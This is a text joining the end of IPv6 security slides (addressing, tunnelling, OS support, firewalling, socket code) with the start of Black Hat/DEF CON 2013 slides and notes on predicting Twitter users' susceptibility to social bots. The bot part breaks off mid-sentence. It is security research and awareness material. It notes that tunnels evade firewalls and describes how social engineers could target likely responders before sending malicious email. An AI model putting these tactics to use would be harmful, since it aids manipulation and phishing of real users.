● FF-FE inserted between 3rd and 4th bytes
● 00-0B-3C-F4-22-CE becomes 00-0B-3C-FF-FE-F4-22-CE
IPv6 – Addressing
EUI-64
● Using MAC address as part of IP considered
a privacy issue
● Not addressed in RFC 2373
● RFC 3041 describes a randomly-generated
interface identifier that changes over time to
provide a level of anonymity
IPv6 – Addressing
• 2001 -- production globally routable IPv6 networks
• 2002 -- used for automatic 6to4 tunneling
• FEC0 – (Site Local Address) equivalent to
192.168.xxx.xxx/24 or 10.xxx.xxx.xxx/8 addresses
(DEPRECIATED).
● To be replaced by FC00::/7
• FF01, FF02 and FF05 are multicast addresses
IPv6 – OS Support
● FreeBSD, OpenBSD, NetBSD, Apple OSX and BSDi --
include the Kame IPv6 stack
● http://www.kame.net
● IPv6 is enabled by default
● Linux kernel 2.4.xx -- very buggy IPv6 implementation
● can be augmented by patches from the USAGI project
● http://www.linux-ipv6.org
● USAGI is a port of the KAME project to Linux
● Linux kernel 2.6.xx -- USAGI patches included by default
● Solaris 8.x and above -- native support
● Novell Netware 6.x and above – native support
● load BSDSOCK.NLM
IPv6 – OS Support
● Windows 9x/Me -- no Microsoft supported IPv6 capability
● Windows NT 4 -- very early beta IPv6 stack
● Windows 2000 -- beta quality IPv6 stack
● Windows XP and Windows 2003 Server -- IPv6 stacks
built in
● Typing “ipv6 install” in a command shell (Windows XP)
or adding the stack in network properties (Windows
XP/2003) enables these stacks.
● “netsh” to control IPv6 from CLI (Windows XP/2003)
IPv6 – Tunnel Brokers
● Top North American IPv6 Providers
● NTT/Verio, Freenet6, Hurricane Electric (SpeakEasy
soon)
● NTT/Verio
● Supplies tunnelling services to its customers in urban
and rural areas
● Hurricane Electric and Freenet6
● Open tunnelling servers
● Anyone with an IPv4 address can tunnel IPv6
● http://www.tunnelbroker.net (static v4 IP)
● http://www.freenet6.net (dynamic v4 IP)
● Other tunnel brokers available worldwide
● Most only require on-line registration
IPv6 – Tunnelling & Transition
Methods
• ISATAP (Intra Site Automatic Tunnelling Addressing
Protocol -- ::0:5EFE:w.x.y.z prefix)
• 6to4 (Tunnel Brokers – 3ffe or 2001 prefix)
• Automatic 6to4 (Dynamic Tunnels – 2002 prefix)
• Teredo and Silkroad (6to4 tunnelling over UDP)
• NAT/PT (Network Address Translation/Protocol
Translation)
• Bump In The Stack/Bump In The API (BIS/BIA)
• Dual Stack Transitioning Mechanism (DSTM)
• Transport Relay Translator (TRT)
IPv6 – Tunnelling & Transition Methods
-- ISATAP
● Used mostly for IPv6 connectivty
between hosts on a LAN, VLAN or
WAN
● Requires a 6to4 gateway for packets
to leave the local LAN
● Can be used for an IPv6 NAT
● IPv6 address includes IPv4 address.
● 2002:836B:1:5:0:5EFE:10.40.1.29
● IPv4 becomes the link layer for IPv6
IPv6 – Tunnelling & Transition Methods --
6to4 Via a Tunnel Broker
● Currently the most popular way to connect via IPv6
● Requires IP Protocol Type 41
● Does not work with NAT'ed IPv4 hosts unless the host is a 1 to 1
NAT
● Most tunnel brokers will give a /48 or a /64 subnet for the rest of your
network
● /48 = 1,208,925,819,614,629,174,706,176 IPs
● /64 = 18,446,744,073,709,551,616 IPs
● Very easy to set up and change
● Frequently used as an attack vector, since tunnels can be set up to
different countries easily
● http://www.sixxs.net has a 6to4 proxy that only shows the IPv6
source address
IPv6 – Tunnelling & Transition Methods --
6to4 Via Auto Tunnelling
● Fairly easy to set up
● Convert your IPv4 address to hex, then put a 2002 in front of it:
● 69.3.46.44 becomes 2002:4503:2e2c::/48
● One IPv4 IP becomes a /48 subnet for IPv6
● Set default route for IPv6 traffic to 192.88.99.1
● Uses BGP to find the nearest 6to4 router and connect to the
IPv6 internet
● Security questionable
● you have little choice where your traffic is routed
● Windows XP SP1 auto tunnels by default
●Not included with OpenBSD
IPv6 – Tunnelling & Transition Methods
-- Teredo
● Allows IPv6 tunnelling though NAT servers using UDP traffic
● Uses port 3544 UDP by default
● Port can be changed (to say, ports 53 or 500?)
● Microsoft and FreeBSD have the only implementations.
● Windows XP SP1 only has a Teredo client
● Kernel modules have been written for FreeBSD to be both a
server and relay
● Could very easily be used as an attack vector
● UDP traffic not commonly monitored
● UDP not locked out at firewalls
● Considered a “last ditch” IPv6 tunnelling mechanism
● Draft calls for use of 3FFE:831F::/32 ONLY
● Does not allow tunnelling through restricted NATs
IPv6 – Tunnelling & Transition Methods
-- SilkRoad
● Allows for IPv6 tunnelling though NAT servers using UDP
traffic
● Uses port 5188 UDP currently
● No current implementations
● Could also easily be used as an attack vector
● Allows for any address range to be used (not just 3ffe:831F::/32)
● VERY new draft
● Allows tunnelling through any type of NAT server
IPv6 – Tunnelling & Transition Methods
-- NAT/PT
● Network Address Translation/Protocol Translation
● RFC 2766
● IPv6 hosts send requests to a dual-stacked gateway
● Gateway decides if the remote address is IPv4 or IPv6
● Routes the packet as normal if destination is IPv6
● Converts the packet to IPv4 with special header information if
the destination is IPv4
● Converts the returning packet to IPv6 and routes it back to
the originating host
● Cisco has the only production quality implementation
● Technology is similar to an IPX/SPX only network connecting
to hosts on the IPv4 internet
IPv6 – Tunnelling & Transition Methods
-- BIS/BIA
● Bump in the Stack/Bump in the API
● Bump in the Stack – RFC 2767
● Bump in the API – RFC 3338
● Used on dual stacked hosts to proxy programs that are
IPv4 only or IPv6 only to use the other protocol
● Security is questionable
● Windows XP and 2003 include “port proxy”
IPv6 – Tunnelling & Transition Methods
-- DSTM
● Dual Stack Transitioning Mechanism
● Based on dynamic IPv4 over IPv6 tunnels.
● Temporary assignment of global IPv4 addresses to IPv6
hosts.
● Allows IPv4 only apps to run in an IPv6 environment
● Requires DSTM gateway and server
● Multi-platform
● Minimizes need for IPv4 IPs
IPv6 – Tunnelling & Transition Methods
-- TRT
● Transport Relay Translator
● Works as a DNS Proxy
● TRT server translates IPv4 addresses to IPv6
● fec0:0:0:0:ffff::/64 + 193.99.144.71 becomes
● fec0:0:0:0:ffff:0:0:c163:9047
● BSD and Linux implementations
● Based on TOTD and FAITHD (BSD) or pTRTd (Linux)
● RFC 3142
IPv6 – Router Advertising
● Allows your IPv6 border router to broadcast its
existence
● Advertises to clients their IPv6 prefix and default route
● Differs from DHCP
● Can only broadcast a default route and address prefixes
● Cannot assign DNS, WINS, etc.
● RA server is available in most IPv6 capable OSes
IPv6 – DHCPv6
● Combines the functionality of router advertising and
DHCPv4
● Currently in alpha stages in most implementations
● Cisco's DHCPv6 stack -- considered production quality
● Provides prefix delegation
● Facilitates distribution of IPs, default routes, DNS and
WINS servers, and other options available in DHCPv4
IPv6 – Security
● Firewalling IPv6
●IPFW, PF for *BSD
●ip6tables for Linux
●Built-in firewall in Windows XP
●Controlled by the “netsh” command
●No IPv6 firewall in Windows 2003
IPv6 – Security
• Windows 2003
• No IPv6 support
• Windows XP before Advanced
Networking Pack
• No IPv6 support in firewall
• Consumer Firewall Applications for
Windows
• Most HIDS to date
• MIGHT pick up 6to4 traffic or IPv4 DNS lookups
• Do not defend against native IPv6 traffic
IPv6 – Security
• Blocking UDP and IP Protocol Type 41
traffic
• Scanning for router advertisements using
tools such as Ethereal
• As always, if not using the protocol, don't
enable it...
IPv6 – DNS
IPv4 – A Record
www.hacksonville.org A 192.168.254.111
IPv6 – AAAA Record
www.hacksonville.org AAAA \
FEC0:0010:0083:1211:0000:0000:1287:123F
IPv6 – Applications
• IPv4 only applications can sometimes be patched and
recompiled with IPv6 support
• IPv4 applications can be proxied to use IPv6 addresses
• Apps must be able to handle “:” in addresses
• Apps should be able to handle both IPv4 and IPv6
addresses
IPv6 – Sample Code
IPv4 only
• Uses IPv4 specific libraries and system calls
int i, s;
struct hostent *hp;
struct servent *sp;
struct sockaddr_in sin;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
hp = gethostbyname("www.hacksonville.org");
sp = getservbyname("http", "tcp");
for (i = 0; hp->h_addr_list[i]; i++) {
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_len = sizeof(sin);
sin.sin_port = htons(sp->s_port);
memcpy(&sin.sin_addr, hp->h_addr_list[i], hp-
>h_length);
if (connect(s, &sin, sizeof(sin)) < 0)
continue;
break;
}
IPv6 – Sample Code
Dual Stack – IPv4 & IPv6
● Code uses DNS server to determine the IP
address
int s;
struct addrinfo hints, *res, *res0;
memset(&hints, 0, sizeof(hints));
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
getaddrinfo("www.hacksonville.org", "http", &hints,
&res0);
for (res = res0; res; res = res->ai_next) {
s = socket(res->ai_family, res->ai_socktype, res-
>ai_protocol);
if (connect(s, res->ai_addr, res->ai_addrlen) < 0) {
close(s);
continue;
}
break;
}
freeaddrinfo(res0);
IPv6 – Running Services (Apache)
● Requires service be IPv6 capable and listening
● Apache 2.xx, httpd.conf:
● Listen 0.0.0.0:80
● Listen [::]:80
IPv6 – Running Services (SSHD)
● SSHD, sshd_conf:
● Port 22
● Protocol 2
● ListenAddress 0.0.0.0
● ListenAddress ::
IPv6 – 12 Steps for Overcoming
NAT Addiction
● 1. We admit we are powerless over NAT - that our IP
networks have become unmanagable.
● 2. We come to believe that a power greater than NAT
could restore us to security.
● 3. Made a decision to turn our will and our networks over
to the care of IPv6 as we understand it.
● 4. Made a searching and fearless penetration test of our
networks.
● 5. Admitted to the CIO, to ourselves, and to another
systems administrator the exact nature of our network
security issues.
● 6. Were entirely ready to have IPv6 remove all the
defects of our IPv4 NAT'ted networks.
IPv6 – 12 Steps for Overcoming
NAT Addiction
● 7. Humbly asked router advertisements to remove our NAT
shortcomings.
● 8. Made a list of all networks we had harmed, and became
willing to install IPv6 stacks on them all.
● 9. Restored end to end connectivity to such networks
whenever possible.
● 10. Continued to take a network inventory and when we were
using NAT promptly admitted it.
● 11. Sought through network scans and DHCPv6 to improve
our network connectivity with IPv6 as we understood it,
Googling only for knowledge of IPv6 for us and the power to
carry that out.
● 12. Having had a router awakening as the result of these
steps, we tried to carry this message to NAT addicts, and to
practice these principles.
IPv6 – Links
North American IPv6 Task Force -- www.nav6tf.org
Linux IPv6 HowTo -- www.bieringer.de/Linux/IPv6
FreeNet6 Tunnel Broker -- www.freenet6.net
Hurricane Electric Tunnel Broker -- www.tunnelbroker.net
NetBSD -- www.netbsd.org/Documentation/network/ipv6
FreeBSD -- www.freebsd.org
OpenBSD -- www.openbsd.org
Kame (*BSD IPv6 Project) -- www.kame.net
USAGI (Linux Port of Kame) -- www.linux-ipv6.org
Japanese IPv6 Info Site -- www.ipv6style.jp/en/index.shtml
Windows IPv6 Ports -- win6.jp
IPv6 Events and News -- www.ipv6forum.com
Moonv6 Project -- www.moonv6.org
IPv6 – Questions?
Comments?
Concerns? | pdf |
Presentation Slides with Notes:
“Predicting Susceptibility to Social Bots on Twitter” by Chris Sumner & Dr. Randall Wald
Presented at:
Black Hat Briefings 2013 (Las Vegas, NV, USA) & DEF CON 21 (Las Vegas, NV, USA)
Slide 1
Predicting Susceptibility to
Social Bots on Twitter
Chris Sumner & Dr. Randall Wald
[email protected] & [email protected]
Welcome to ‘Predicting Susceptibility to Social
Bots on Twitter’. I’m Chris Sumner,
representing the Online Privacy Foundation and
I’m joined by Dr. Randall Wald from Florida
Atlantic University.
The Online Privacy Foundation is a non-profit,
charitable organisation, currently focused on
understanding what people might be giving
away via social networks without their
knowledge.
https://www.onlineprivacyfoundation.org/
Before we begin, I want to make sure people
have the chance to decide whether this talk is
really for them
Note: Majority of images via Shutterstock.com
Slide 2
Web Ecology Project
Tim Hwang
Astroturfing
Swiftboating
Yazan Boshmaf
If you’re familiar with these names/terms, you
may find the first half of this presentation a
little on the light/introductory side.
Slide 3
Contains some maths…
We also talk about Statistics and Machine
Learning (sometimes referred to as Predictive
Analytics). We’ll keep this to a minimum, but
ensure the slide notes contain more detail.
We’ll also include some hidden slides in the
hand-outs which provide more details.
So… on to the talk…
Slide 4
It’s only fitting, since we’re in Las Vegas, that
we talk about odds.
Slide 5
Goal = Improve the odds
The goal of our work was to see if we could
improve the odds of finding users more likely to
respond to a relatively crude twitter bot…
While it would be interesting, we never
expected to be able to predict susceptibility
with laser like accuracy.
“Predictions need not be accurate to score big
value” (page 10 - Book. Predictive analytics –
The power to predict who will click, buy, lie or
die’ – Eric Siegel)
Ref:
Siegel, E. 2013. Predictive analytics. Hoboken,
N.J.: Wiley.
Slide 6
Goal = Improve the odds
I want to be up front that you might not find
the improvements we reach that exciting. To
those with an interest in machine
learning/prediction, the results should remain
of interest.
Slide 7
Anyone know who this guy is?.... It’s Tim
Hwang….
Slide 8
And back in early 2011 I’d stumbled upon this
fascinating and amusing competition which he
hosted with the Web Ecology Project…
….it was described as…
References:
- 5 minute video overview of the Social Bots
competition -
http://ignitesanfrancisco.com/83e/tim-hwang/
- The winners blog post -
http://aerofade.rk.net.nz/?p=152 (
@AeroFade on Twitter )
This is what the winning bot did….
• Created a lead bot called @JamesMTitus
• Instantly go out and follow all 500 of the
target users
• every 2-3 hours, tweet something from a
random list of messages.
• constantly scan flickr for pictures of "cute
cats" from the Cute Cats group and blog
them to James' blog "Kitteh Fashun" -
(which auto tweets to James' twitter
timeline)
• 4 secondary bots following the network of
the 500 users and the followers of the
targets to test for follow backs (and then
getting James to follow those that followed
back, once per day) - we believed that
expanding our own network across mutual
followers of the 500 would increase our
likely hood of being noticed (through
retweets or what have you from those who
were not in the target set.
Slide 9
3 teams took part and were given those same
500 unsuspecting users to target.
Slide 10
…the 500 targets all had a common
interest/fondness in cats (the animals, not the
musical)
Slide 11
+1 Mutual Follow
+3 Social Response
-15 Killed by Twitter
The teams gained 1 point for a follow back, 3
points for some response and they lost
15points if they got killed by Twitter
(suspended)
Slide 12
“It’s blood sport for internet social
science/network analysis nerds.”
….It was described as ‘blood sport of internet
social science/network analysis nerds
Slide 13
0
100
200
300
400
500
600
198
2 weeks later…
@AeroFade
302
Two weeks later, the winning team achieved
701 points, 107 mutual follow backs and 198
social responses. You can check out
@AeroFade’s Twitter and his blog.
http://aerofade.rk.net.nz/?p=152 (
@AeroFade on Twitter )
Slide 14
To date, most research has focused on how to
identify bots, but less research has looked…
Slide 15
…the other side of the question – detecting
users likely to be fooled by bots, something
which is important in helping raise awareness
and seek solutions.….
This point was raised by Yazan Boshmaf in the
paper ‘Design and Analysis of a Social Botnet’
http://lersse-
dl.ece.ubc.ca/record/277/files/COMNET_Social
bots_2012.pdf
We cover this later in the deck, but here’s the
quote from the paper for those reading along
“To this end, we are currently investigating two
directions from the defense side. The first
involves understanding the factors that
influence user decisions on befriending
strangers, which is useful in designing user-
centered security controls that better
communicate the risks of online threats”
Slide 16
…So while we were conducting our 2012 study
into Twitter usage and the Dark Triad of
personality, we figured we’d incorporate a side
project to look at social bots and, as an
organization, attempt to answer couple of
questions….
Ref:
Sumner, C., Byers, A., Boochever, R., and Park,
G, J. (2012). Predicting Dark Triad Personality
Traits from Twitter usage and a linguistic
analysis of Tweets, 11th IEEE International
Conference on Machine Learning and
Applications, 2012, pp. 386-393
https://www.onlineprivacyfoundation.org/rese
arch_/PredictingdarkTriadPersonalityTraitsfrom
Twitter.pdf
Slide 17
Are some users more naturally
predisposed to interacting with
social bots?
i.e. Are some users more naturally predisposed
to interacting with social bots (you could argue
Strangers) than others? Does personality play a
part?
Slide 18
Is it possible to increase the
odds of getting a response
from a twitter user?
…and is it possible that social bot creators
could use machine learning to better target
users who are more likely to response.
Slide 19
….thereby (the thinking goes) reducing the
chances of landing in Twitter Jail (account
suspension).
Slide 20
Who cares?
The obvious question is… “Who cares?”. we’ll
look at these in greater depth during the talk,
but the next 5 slides provide a high-level
summary. Starting with…
Slide 21
#1
#1. Marketeers: Marketeers who are looking to
get a higher klout (kred etc) score for the brand
they’re representing, might be able to focus on
users who are more likely to interact (or
engage) with them. This might be a useful
strategy for the early stages of building a brand
(fake or otherwise), but it could also mean that
some users are deluged with far more spam
than others.
.. Initially (some, not all) marketeers and
blackhat SEO folks wanted your ‘likes’, but
since that doesn’t necessarily translate to a
purchase (because that was easy to game with
bots), they’re being requested to create
‘engagement’. Social bots present an obvious
evolution.
Slide 22
#2
Propagandists
#2. Propagandists, AstroTurfers and their ilk:
Finding users who are most likely to help
propagate your message or at the very least,
give credence to the bot account.
Slide 23
#3
Social Engineers
#3. Social Engineering Assignments: Since the
most predictive features (klout score, number
of friends/follows) are easily obtained through
API calls, this makes it very easy to build/model
in Maltego (or similar tools). Here we can see
@Alice’s imaginary Twitter friends. A simple
Maltego local-transform could be used to flag
users who are more likely to engage in
conversation, which might prove use for Social
Engineers looking for weaker points in a social
graph. E.g. You know the Twitter accounts of
users in ‘Acme Corp’ and want to highlight the
ones who maybe most likely to talk to you. The
red icons are the users to focus on.
One approach here would be to build one or
more trust relationships with the “red” users
before convincing the target to accept an email
from you with malicious content. In this
scenario, it seems that it would make sense to
generate less noise and focus on the users
where the odds of a reply are better.
See also:
M. Huber, S. Kowalski, M. Nohlberg, and S.
Tjoa. Towards automating social engineering
using social networking sites.
Computational Science and Engineering, IEEE
International Conference on, 3:117–124, 2009
Slide 24
#4
2013 paper by Erhardt Graeff
What We Should Do Before the
Social Bots Take Over:
Online Privacy Protection and the
Political Economy of Our Near Future
“
”
The privacy implications are nicely described in
this recent paper by Erhardt Greaff.
http://web.mit.edu/comm-
forum/mit8/papers/Graeff-SocialBotsPrivacy-
MIT8.pdf
Greaff, E. 2013. "What We Should Do Before
the Social Bots Take Over", paper presented at
Media in Transition 8, Cambridge, MA, May 3-
5.
Specifically…
“Consider a hypothetical internet startup that
sells widgets. They decide to employ social bots
to interact online with likely buyers of widgets.
The bots are part of an advertising strategy
that human public relations employees already
use on social media Platforms — they attempt
to create real relationships with users on a
network in order to better understand their
customer base and engender brand awareness
and loyalty. Users may or may not be aware of
the fact that they are interacting with a bot,
but the conversation and relationship is
continuous because the bot is always available
and responsive. As the relationship between the
social bot and the user matures, the
conversation might span both public and
private social media spaces (such as Twitter’s
direct messages), wherein a user might expect
a greater degree of privacy or discretion from a
human interlocutor. However, the bot may not
acknowledge the nuances of such social norms
and ethics; moreover, the company that runs
the bot is collecting all of this data. While it’s
feasible that a human or team of humans could
undertake such an advertising strategy on
behalf of a company, it’s unlikely to scale to the
number of relationships necessary to make it
cost effective. This poses no challenge to a
social bot, which has perfect memory and
requires no sleep or overtime pay. An unlimited
number of relationships could be maintained
through a social bot with the level of
responsiveness necessary to produce intimate
connections. The better the machine learning
algorithms powering a social bot’s artificial
intelligence the more data they can process and
use to improve their social interactions. This
means the potential creation of more intimate
interactions based on historical data collected
from you or from others in your friend network,
including discussions of personal
relationships—significant others and kids, work
or life complaints and concerns, and hobbies
(both conventional or embarrassing — the bot
will simply meet you where you are at and
affirm you). Extracted personal data can also
go beyond text if you share personal
photographs and videos or link to those that
you like; there are also data that may be
invisible during social interactions with bots but
which they are aware of: time, location (GPS
data from mobile phones or IP addresses of
networked computers), and even purchase
records, depending on what corporation or
even data sharing consortium the bot is
affiliated with”
Slide 25
#5
Social
Network
Providers
Source: With permission from Doctor Popular
http://www.flickr.com/photos/docpopular/2965791959/in/set-72157608288434612
..Conversely, existing social media sites are getting much
better at detecting bots so part of an effective bot strategy
is reducing the chances of ending up in Twitter jail.
Image Source: With permission from Doctor Popular
http://www.flickr.com/photos/docpopular/2965791959/in
/set-72157608288434612
From a larger set titled “Robots don’t know anything about
Twitter” -
http://www.flickr.com/photos/docpopular/sets/72157608
288434612/
Slide 26
So we set to work, or rather our bots did.
Slide 27
The rest of the talk flows like this.
- Provide some historic perspective. Social
Bots 101 if you like.
- Highlight some interesting research in this
field
- Describe our method
- Share our findings and wrap up with
- Conclusions
Slide 28
Timing
~7 minutes
Slide 29
“A social bot is a piece of software
that controls a user account in an
online social network and passes
itself of as a human”
(Wagner et al)
Wagner et al (2012)”
Wagner et al define Social Bots as “a piece of
software that controls a user account in an
online social network and passes itself of as a
human”. This is a useful working definition for
us.
“When social bots attack: Modeling
susceptibility of users in online social networks
“
Paper -
http://www.markusstrohmaier.info/documents
/2012_MSM12_socialbots.pdf
Slides -
http://www.slideshare.net/clauwa/slides-
20528287
The socialbot M.O. is to
•
make friends,
•
gain a level of trust,
•
influence
Slide 30
The Sybil Attack (2002)
John R. Douceur
Microsoft Research
You may also hear Social Bots referred to as
Sybils
Although not quite in the same context, John
Doucer at Microsoft Research used “Sybils” in
his 2002 papr, ‘The Sybil Attack’
http://www.few.vu.nl/~mconti/teaching/ATCN
S2010/ATCS/Sybil/Sybil.pdf
Slide 31
Bots aren’t new, Chatterbots featured in
research around 1994 (probably earlier). In this
talk we’re really examining bots in social media,
which for the sake of argument, we’ll split into
1st Generation and 2nd Generation bots…
http://www.lazytd.com/lti/pub/aaai94.html
Slide 32
Photo Credit : http://mashable.com/2009/04/01/social-media-cartoon-the-twitter-follower-bots/
Early bots tend to be all about making you look
popular (with fake followers). These are still
hugely popular and according to a recent NY
Times article, remain a lucrative business, but
ultimately they’re pretty dumb.
http://bits.blogs.nytimes.com/2013/04/05/fak
e-twitter-followers-becomes-multimillion-
dollar-business/
Slide 33
…then there’s good old-fashioned spam….
‘@spam: The Underground on 140 Characters
or Less’ (Grier, 2010)
http://imchris.org/research/grier_ccs2010.pdf
Slide 34
Amusing
..some bots are all about humour… Here Kevin
thanks the Universe…
Slide 35
Amusing
..to which, The Universe responds…
Slide 36
…and in the case of @AI_AGW, some respond
to climate change deniers…
http://www.huffingtonpost.com/2010/11/09/n
igel-lecks-turing-test-t_n_780925.html
http://blogs.discovermagazine.com/discoblog/
2010/11/03/chatbot-debates-climate-change-
deniers-on-twitter-so-you-dont-have-to/
These are all pretty basic bots which remain
prevalent today.
Slide 37
In 2008 we see the first (Publicly at least)
manifestation of a smarter social bot on
Twitter. Project Realboy plays with the concept
of creating more believable bots.
This is around the same time that Hamiel and
Moyer shared their BlackHat and DefCon talk
“Satan Is On My Friends List” highlighting that
some of your social media friends may be
imposters. We saw another example of that in
the 2010 ‘Robin Sage’ talk at Blackhat.
Project Realboy by Zack Coburn & Greg Marra -
http://ca.olin.edu/2008/realboy/
Satan is on my Friends List -
http://www.blackhat.com/presentations/bh-jp-
08/bh-jp-08-Moyer-Hamiel/BlackHat-Japan-08-
Moyer-Hamiel-Satan-Friends-List.pdf
Slide 38
Virtual Plots, Real Revolution (Temmingh and Geers - 2009)
“For example, in the week before an election,
what if both left and right-wing blogs were
seeded with false but credible information
about one of the candidates? It could tip the
balance in a close race to determine the
winner”
Things get a bit more sinister in 2009. A 2009
paper by Temmingh and Geers (Roelof
Temmingh of Sensepost/Paterva/Maltego
fame) states “For example, in the week before
an election, what if both left and right-wing
blogs were seeded with false but credible
information about one of the candidates? It
could tip the balance in a close race to
determine the winner”.
Source: R Temmingh
http://www.ccdcoe.org/publications/virtualbat
tlefield/21_TEMMINGH_Virtual%20Revolution
%20v2.pdf
Slide 39
V
Year Later…
…and in 2010 (if not earlier) we see it play out
for real. “Four days before the 2010 special
election in Massachusetts to fill the Senate seat
formerly held by Ted Kennedy, an anonymous
source delivered a blast of political spam. The
smear campaign launched against Democratic
candidate Martha Coakley quickly infiltrated
the rest of the election-related chatter on the
social networking service Twitter. Detonating
over just 138 minutes, the “Twitter bomb” and
the rancorous claims it brought with it
eventually reached tens of thousands of
people.”….
Source -
http://www.sciencenews.org/view/feature/id/
345532/description/Social_Media_Sway
Some notes
“A single change in the decision to vote can
affect many individuals….Because…. there are
competing effects between the decay of
influence and the growth in the number of
acquaintances…….. But as people hang out with
like-minded individuals… cascades will not be
zero sum So the decision of a single individual
to vote has a substantially larger impact than
what an atomized theory of individuals might
say….. “
Truthy: Mapping the Spread of Astroturf in
Microblog Streams Detecting and Tracking
Political Abuse in Social Media
“…Here we focus on a particular social media
platform, Twitter, and on one particular type of
abuse, namely political astroturf — political
campaigns disguised as spontaneous
“grassroots” behavior that are in reality carried
out by a single person or organization. This is
related to spam but with a more specific
domain context and potentially larger
consequences.”
Sep. 28, 2010 — Astroturfers, Twitter-bombers
and smear campaigners need beware this
election season as a group of leading Indiana
University information and computer scientists
have unleashed Truthy.indiana.edu, a
sophisticated new Twitter-based research tool
that combines data mining, social network
analysis and crowdsourcing to uncover
deceptive tactics and misinformation leading
up to the Nov. 2 elections.
http://www.sciencedaily.com/releases/2010/0
9/100928122612.htm
Also - http://cs.wellesley.edu/~pmetaxas/How-
Not-To-Predict-Elections.pdf
“The success of a Twitter-bomb relies on two
factors: targeting users interested in the spam
topic and relying on those users to spread the
spam further.
(http://journal.webscience.org/317/2/websci1
0_submission_89.pdf) ”
http://www.academia.edu/841719/From_obsc
urity_to_prominence_in_minutes_Political_spe
ech_and_real
Slide 40
V
Year Later…
…The result of that election, Scott Brown won.
Slide 41
…this type of campaign has a name,
Slide 42
Swift-boating…
…Swiftboating – “The term swiftboating (also
spelled swift-boating or swift boating) is an
American neologism used pejoratively to
describe an unfair or untrue political attack.
The term is derived from the name of the
organization "Swift Boat Veterans for Truth"
(SBVT, later the Swift Vets and POWs for Truth)
because of their widely publicized[1] then
discredited campaign against 2004 US
Presidential candidate John Kerry” (Wikipedia –
26th March 2013)
Slide 43
Photo Credit : http://www.guardian.co.uk/world/2012/feb/07/hacked-emails-nashi-putin-bloggers
and allegedly, prior to the 2012 Russian
Presidential elections, a pro-Kremlin
organization reportedly paid hundreds of
thousands of $’s to network of internet users to
help political cause by creating flattering
coverage on Vladamir Putin.
Source -
http://www.guardian.co.uk/world/2012/feb/07
/hacked-emails-nashi-putin-bloggers
An article in the Economist describes the
Russian smear campaigns as reaching “farcical
levels”,
http://www.economist.com/blogs/easternappr
oaches/2012/02/hackers-and-kremlin
http://www.themoscowtimes.com/news/articl
e/campaign-mudslinging-taken-to-new-
lows/452583.html
Slide 44
This is a little different to Swift-boating in that
it’s generally not a smear
campaign…Astroturfing - refers to political,
advertising or public relations campaigns that
are designed to mask the sponsors of the
message to give the appearance of coming
from a disinterested, grassroots participant.
“It could tip the balance in a close race to
determine the winner” (Temmingh & Geers,
2009)
Slide 45
…This is essentially what gave rise to Truthy, a
project started at Indiana University to “The
Truthy system evaluates thousands of tweets
an hour to identify new and emerging bursts of
activity around memes of various flavors.”…
“We also plan to use Truthy to detect political
smears, astroturfing, misinformation, and other
social pollution”
- http://live.wsj.com/video/the-truthy-
project-ferrets-out-online-
deception/219A2EA6-4D22-4F5B-8D96-
81AF342104F7.html#!219A2EA6-4D22-
4F5B-8D96-81AF342104F7
– BBCQT
http://truthy.indiana.edu/movies/show/1264
“A well functioning democracy requires
accountability and trust…”
http://truthy.indiana.edu/site_media/pdfs/ratk
iewicz_icwsm2011_truthy.pdf
Slide 46
And in 2011, it was revealed that the US were
exploring fake persona’s. The anonymous
attack on HBGary exposed emails discussing
such use cases…
Source: “UPDATED: The HB Gary Email That
Should Concern Us All”
http://www.dailykos.com/story/2011/02/16/9
45768/-UPDATED-The-HB-Gary-Email-That-
Should-Concern-Us-All#
A SockPuppet is an online identity used for
purposes of deception (see also, Persona
Management)
Slide 47
“A large virtual population, scattered all over
the world and encompassing different
socioeconomic backgrounds, could be
programmed to support any personal, social,
business, political, military, or terrorist
agenda.”
(Temmingh & Geers, 2009)
So it seemed that Temmingh and Geers’ future
looking paper had it pretty much right - “In
2009, hackers steal data, send spam, and deny
service to other computers. In the future, they
may also control virtual armies, in the form of
millions of artificial identities that could
support any personal, business, political,
military, or terrorist agenda.”
Which leads us to more recent developments
and a couple of things Tim Hwang is working
on…
Temmingh and Geers paper at -
http://www.ccdcoe.org/publications/virtualbat
tlefield/21_TEMMINGH_Virtual%20Revolution
%20v2.pdf
Slide 48
Another interesting area for abuse is Fake
customer service account. In December 2012,
we saw the telecoms provider EE apparently
asking for mobile phone numners, postcodes
and passwords via Twitter DM’s. This was
blogged about by Troy Hunt here…
http://www.troyhunt.com/2012/12/ee-k-
dming-your-password-is-never-good.html
What was more interesting as the @MyEECare
account which sprang up. Had the people
behind the fake account been truly malicious,
they could have mimicked the real account and
harvested a considerable amount of user data.
“Update, 31 Dec 2012: There’s one other very,
very important point I neglected to make and
I’ve inadvertently demonstrated it perfectly in
the image above. The @MyEECare account is
fake and has been suspended in the 7 hours
since I wrote the post. There’s now an
@EESupport account doing the same thing;
same avatar as @EE, same branding too.
Obviously it’s not Twitter verified like the
official account, but it’s convincing enough that
were they to ask someone for their password
via DM, I reckon there’s a damn good chance
they’d get it. Your average consumer isn’t going
to do their own due diligence on the account
authenticity before sending personal data –
particularly when it’s presented like these ones
– and that’s a serious risk indeed”
Slide 49
And finally, after our BlackHat presentation
(July 2013), two gentlemen approached me
asking about the problem of social bots
misdirecting emergency resources. “A lie gets
halfway around the world before the truth has
a chance to get its pants on”
The reminded me of a talk by Prof Rob Proctor
at University of Manchester
http://www.jisc.ac.uk/news/social-media-not-
to-blame-for-inciting-rioters-08-dec-2011
“Also according to the research team, rumours
'break' quickly in Twitter and the mainstream
media lag behind citizen reports.
Examples include rumours the London Eye had
been set on fire and animals had been released
from the London Zoo – which both turned out
to be untrue.
Other stories turned out to be true such as the
burning down of a Miss Selfridge shop in
Manchester.
Professor Procter added: "Only after a period of
time does the influence of mainstream media
organisations become critical for determining a
rumour's credibility.
"But we do find the mainstream media is
perfectly capable of picking up and publishing
unverified information from social media
without adhering to the usual standard of fact
checking.
"Consequently, some stories of this nature,
though never verified, go unchallenged."
“How riot rumours spread on Twitter - Analysis
of 2.6 million tweets shows Twitter is adept at
correcting misinformation - particularly if the
claim is that a tiger is on the loose in Primrose
Hill “
http://www.theguardian.com/uk/interactive/2
011/dec/07/london-riots-twitter
Slide 50
I already mentioned the Web Ecology project.
On the back of that, Tim Hwang created an
organization called Pacific Social to explore
social networks a little further.
www: http://pacsocial.com/
Twitter: @pacsocial
Slide 51
For example, Tim had grown interested by the
amount in which the bots had distorted the
